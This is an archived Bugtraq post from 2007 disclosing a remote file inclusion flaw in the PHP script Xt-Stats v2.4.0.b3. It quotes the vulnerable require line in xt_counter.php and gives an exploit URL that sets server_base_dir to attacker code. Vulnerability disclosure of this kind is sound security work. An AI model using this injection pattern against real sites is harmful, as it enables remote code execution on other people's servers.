Bugtraq mailing list archives

Xt-Stats v.2.4.0.b3 - Remote File Include Vulnerabilities

From: h4cked.eg () hotmail com
Date: 27 Jan 2007 13:31:27 -0000


Download:http://www.xt-scripts.com/index.php?dl=32
**************************************************
Finded by ThE dE@Th
*******************

Greetz For :AsB-May Team & HaCk.eGy
***********************************

xt_counter.php:


require( $server_base_dir.'management/sources/counter_class.php');


http://www.site.com/[path]/xt_counter.php?server_base_dir=[evil_code]]

Current thread:

Xt-Stats v.2.4.0.b3 - Remote File Include Vulnerabilities h4cked . eg (Jan 29)